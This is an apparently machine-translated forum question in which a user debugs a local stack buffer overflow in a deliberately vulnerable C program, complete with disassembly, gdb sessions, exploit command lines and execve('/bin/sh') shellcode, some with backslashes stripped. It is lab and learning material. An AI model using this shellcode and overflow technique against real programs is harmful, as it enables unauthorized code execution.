将shellcode放入简单程序的问题



我想控制EBP和ESP,最后,当程序做ret时,EIP将处理到一个shellcode,但我有一个问题。程序是:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int limit,c;
int getebp()
{
__asm__("movl %ebp, %eax");
}
int proc(char *nombre)
{
int *i;
char buffer[256];
i = (int *) getebp();
limit = *i - (int)buffer + 4;
for (c = 0; c < limit && nombre[c] != ''; c++)
buffer[c] = nombre[c];
printf("nEncantado de conocerte: %sn", buffer);
return 0;
}

int main(int argc, char **argv[])
{
if (argc < 2) {
printf("nUso: %s <nombre>n", argv[0]);
exit(0);
}
proc(argv[1]);
return 0;
}

程序的代码汇编如下:

(gdb) disass proc
Dump of assembler code for function proc:
0x0804840b <+0>:     push   ebp
0x0804840c <+1>:     mov    ebp,esp
0x0804840e <+3>:     sub    esp,0x128
0x08048414 <+9>:     call   0x8048404 <getebp>
0x08048419 <+14>:    mov    DWORD PTR [ebp-0xc],eax
0x0804841c <+17>:    mov    eax,DWORD PTR [ebp-0xc]
0x0804841f <+20>:    mov    edx,DWORD PTR [eax]
0x08048421 <+22>:    lea    eax,[ebp-0x10c]
0x08048427 <+28>:    mov    ecx,edx
0x08048429 <+30>:    sub    ecx,eax
0x0804842b <+32>:    mov    eax,ecx
0x0804842d <+34>:    add    eax,0x4
0x08048430 <+37>:    mov    ds:0x8049828,eax
0x08048435 <+42>:    mov    DWORD PTR ds:0x804982c,0x0
0x0804843f <+52>:    jmp    0x8048466 <proc+91>
0x08048441 <+54>:    mov    eax,ds:0x804982c
0x08048446 <+59>:    mov    edx,DWORD PTR ds:0x804982c
0x0804844c <+65>:    add    edx,DWORD PTR [ebp+0x8]
0x0804844f <+68>:    movzx  edx,BYTE PTR [edx]
0x08048452 <+71>:    mov    BYTE PTR [ebp+eax*1-0x10c],dl
0x08048459 <+78>:    mov    eax,ds:0x804982c
0x0804845e <+83>:    add    eax,0x1
0x08048461 <+86>:    mov    ds:0x804982c,eax
0x08048466 <+91>:    mov    edx,DWORD PTR ds:0x804982c
0x0804846c <+97>:    mov    eax,ds:0x8049828
0x08048471 <+102>:   cmp    edx,eax
0x08048473 <+104>:   jge    0x8048484 <proc+121>
0x08048475 <+106>:   mov    eax,ds:0x804982c
0x0804847a <+111>:   add    eax,DWORD PTR [ebp+0x8]
0x0804847d <+114>:   movzx  eax,BYTE PTR [eax]
0x08048480 <+117>:   test   al,al
0x08048482 <+119>:   jne    0x8048441 <proc+54>
0x08048484 <+121>:   mov    eax,0x80485c0
0x08048489 <+126>:   lea    edx,[ebp-0x10c]
0x0804848f <+132>:   mov    DWORD PTR [esp+0x4],edx
0x08048493 <+136>:   mov    DWORD PTR [esp],eax
0x08048496 <+139>:   call   0x8048300 <printf@plt>
0x0804849b <+144>:   mov    eax,0x0
0x080484a0 <+149>:   leave
0x080484a1 <+150>:   ret
End of assembler dump.

和main:

的代码集
(gdb) disass main
Dump of assembler code for function main:
0x080484a2 <+0>:     push   ebp
0x080484a3 <+1>:     mov    ebp,esp
0x080484a5 <+3>:     and    esp,0xfffffff0
0x080484a8 <+6>:     sub    esp,0x10
0x080484ab <+9>:     cmp    DWORD PTR [ebp+0x8],0x1
0x080484af <+13>:    jg     0x80484d3 <main+49>
0x080484b1 <+15>:    mov    eax,DWORD PTR [ebp+0xc]
0x080484b4 <+18>:    mov    edx,DWORD PTR [eax]
0x080484b6 <+20>:    mov    eax,0x80485dd
0x080484bb <+25>:    mov    DWORD PTR [esp+0x4],edx
0x080484bf <+29>:    mov    DWORD PTR [esp],eax
0x080484c2 <+32>:    call   0x8048300 <printf@plt>
0x080484c7 <+37>:    mov    DWORD PTR [esp],0x0
0x080484ce <+44>:    call   0x8048320 <exit@plt>
0x080484d3 <+49>:    mov    eax,DWORD PTR [ebp+0xc]
0x080484d6 <+52>:    add    eax,0x4
0x080484d9 <+55>:    mov    eax,DWORD PTR [eax]
0x080484db <+57>:    mov    DWORD PTR [esp],eax
0x080484de <+60>:    call   0x804840b <proc>
0x080484e3 <+65>:    mov    eax,0x0
0x080484e8 <+70>:    leave
0x080484e9 <+71>:    ret
End of assembler dump.

好的,我知道用272 ae覆盖EBP,所以:

vagrant@precise32:~/expliting$ gdb -q ./saludo
Reading symbols from ./saludo...(no debugging symbols found)...done.
(gdb) b *proc+149
Breakpoint 1 at 0x80484a0
(gdb) r `perl -e 'print "A" x272 '`
Starting program: /home/vagrant/expliting/saludo `perl -e 'print "A" x272 '`
Encantado de conocerte: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒
Breakpoint 1, 0x080484a0 in proc ()
(gdb) x/16x $esp
0xbffff4c0:     0x080485c0      **0xbffff4dc**      0xb7fdc470      0x00000003
0xbffff4d0:     0xbffff500      0x07b1ea71      0xf63d4e2e      0x41414141
0xbffff4e0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff4f0:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb) q

我知道缓冲区的初始化方向是0xbffff4dc,所以:

vagrant@precise32:~/expliting$ gdb -q ./saludo
Reading symbols from ./saludo...(no debugging symbols found)...done.
(gdb) b *main+70
Breakpoint 1 at 0x80484e8
(gdb) r `perl -e 'print "A"x268 . "xd8xf4xffxbf"'`
Starting program: /home/vagrant/expliting/saludo `perl -e 'print "A"x268 . "xd8xf4xffxbf"'`
Encantado de conocerte: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒▒▒▒▒
Breakpoint 1, 0x080484e8 in main ()
(gdb) i r ebp
ebp            0xbffff4d8       0xbffff4d8
(gdb) b *main+71
Breakpoint 2 at 0x80484e9
(gdb) c
Continuing.
Breakpoint 2, 0x080484e9 in main ()
(gdb) i r esp
esp            0xbffff4dc       0xbffff4dc
(gdb) x/x $esp
0xbffff4dc:     0x41414141

好,听起来不错,我必须采取ESP的控制。现在我想把shellcode 4字节进一步移动。所以:

vagrant@precise32:~/expliting$ gdb -q ./saludo
Reading symbols from ./saludo...(no debugging symbols found)...done.
(gdb) b *proc+150
Breakpoint 1 at 0x80484a1
(gdb) b *main+71
Breakpoint 2 at 0x80484e9
(gdb) r `perl -e 'print "xe0xf4xffxbf"'``cat /tmp/sc``perl -e 'print "A"x220 . "xd8xf4xffxbf"'`
Starting program: /home/vagrant/expliting/saludo `perl -e 'print "xe0xf4xffxbf"'``cat /tmp/sc``perl -e 'print "A"x220 . "xd8xf4xffxbf"'`
Encantado de conocerte: ▒▒▒▒▒^▒1▒F▒F
▒
▒▒▒V
▒1ۉ▒@̀▒▒▒▒▒/bin/shAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒▒▒▒▒
Breakpoint 1, 0x080484a1 in proc ()
(gdb) i r ebp
ebp            0xbffff4d8       0xbffff4d8
(gdb) c
Continuing.
Breakpoint 2, 0x080484e9 in main ()
(gdb) i r esp
esp            0xbffff4dc       0xbffff4dc
(gdb) x/x $esp
0xbffff4dc:     0xbffff4e0    
(gdb) x/16x $esp
0xbffff4dc:     0xbffff4e0      0x895e1feb      0xc0310876      0x89074688
0xbffff4ec:     0x0bb00c46      0x4e8df389      0x0c568d08      0x89db3180
0xbffff4fc:     0x80cd40d8      0xffffdce8      0x69622fff      0x68732f6e
0xbffff50c:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb) q

! ! WTF ! !为什么?现在有ESP地址到0xbffff4e0 ??程序被编译成这样:

gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack $1 -o $2

我已经重新做了我的shellcode, (/tmp/binsh):

猫binsh.asm

section .text
global _start
_start:
xor eax, eax
push eax
push dword 0x68732f2f
push dword 0x6e69622f
mov ebx, esp
push eax
push ebx
mov ecx, esp
mov al, 0x0b
int 0x80

objdump:

objdump -d binsh
binsh:     file format elf32-i386

Disassembly of section .text:
08048060 <_start>:
8048060:       31 c0                   xor    %eax,%eax
8048062:       50                      push   %eax
8048063:       68 2f 2f 73 68          push   $0x68732f2f
8048068:       68 2f 62 69 6e          push   $0x6e69622f
804806d:       89 e3                   mov    %esp,%ebx
804806f:       50                      push   %eax
8048070:       53                      push   %ebx
8048071:       89 e1                   mov    %esp,%ecx
8048073:       b0 0b                   mov    $0xb,%al
8048075:       cd 80                   int    $0x80

基本上我做到了,

echo /bin > bin
echo //sh > sh
and then, I got their hexdump values: 6e69622f and 68732f2f
Works fine:
```vagrant@precise32:/tmp$ ./binsh
$

当我继续时,程序应该收到一个shellcode,但是收到一个SIGILL…

似乎从/tmp/sc加载的代码是错误的。您应该通过从0xbffff4e0(例如x/20i 0xbffff4e0)进行反汇编来查看问题所在。

最近,我用这个命令构建了我的shellcode:

echo `perl -e 'print "x31xc0x50x68x2fx2fx76x68x68x2fx62x69x6ex89xe3x50x53x89xe1xb0x0bxcdx80/bin/sh";'` > binsh5
所以,我想知道发生了什么。当我执行完整指令时:
r `perl -e 'print "xe0xf4xffxbf"'``cat /tmp/binsh5``perl -e 'print "A"x234 . "xd8xf4xffxbf"'`

我同时控制ESP和EBP:

(gdb) i r ebp
ebp            0xbffff4d8       0xbffff4d8
(gdb) c
Continuing.
Breakpoint 2, 0x080484e9 in main ()
(gdb) i r esp
esp            0xbffff4dc       0xbffff4dc
(gdb) x/x $esp
0xbffff4dc:     0xbffff4e0
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xbffff4f8 in ?? ()

然而,我得到一个SIGSEGV。如果我看到这个地址:

(gdb) x/20i 0xbffff4f8
=> 0xbffff4f8:  bound  ebp,QWORD PTR [ecx+0x6e]
0xbffff4fb:  das
0xbffff4fc:  jae    0xbffff566
0xbffff4fe:  inc    ecx
0xbffff4ff:  inc    ecx
0xbffff500:  inc    ecx
0xbffff501:  inc    ecx
0xbffff502:  inc    ecx
0xbffff503:  inc    ecx
0xbffff504:  inc    ecx
0xbffff505:  inc    ecx
0xbffff506:  inc    ecx
0xbffff507:  inc    ecx
0xbffff508:  inc    ecx
0xbffff509:  inc    ecx
0xbffff50a:  inc    ecx
0xbffff50b:  inc    ecx
0xbffff50c:  inc    ecx
0xbffff50d:  inc    ecx
0xbffff50e:  inc    ecx

我想知道问题所在:

08048060 <_start>:
8048060:       31 c0                   xor    %eax,%eax
8048062:       50                      push   %eax
8048063:       68 2f 2f 73 68          push   $0x68732f2f
8048068:       68 2f 62 69 6e          **push   $0x6e69622f**
804806d:       89 e3                   mov    %esp,%ebx
804806f:       50                      push   %eax
8048070:       53                      push   %ebx
8048071:       89 e1                   mov    %esp,%ecx
8048073:       b0 0b                   mov    $0xb,%al
8048075:       cd 80                   int    $0x80

我认为粗体字的指令没有完全执行。shellcode似乎像这样将堆栈压入:

2F        das
62 69 6E  bound  ebp,QWORD PTR [ecx+0x6e]

我想我已经找到问题了,但是现在我不知道如何解决。

你说得对。/tmp/sc未执行代码。我已经重新做了我的shellcode,我知道它是好的,如果我输入:/tmp/binsc我得到shellcode。但是现在,程序什么也不做最后我必须按Ctrl+ c。

(gdb) b *proc+150
Breakpoint 1 at 0x80484a1
(gdb) b *main+71
Breakpoint 2 at 0x80484e9
(gdb) r `perl -e 'print "xe0xf4xffxbf"'``cat /tmp/binsh``perl -e 'print "A"x204 . "xd8xf4xffxbf"'`

^C
During startup program terminated with signal SIGINT, Interrupt.
(gdb)

最新更新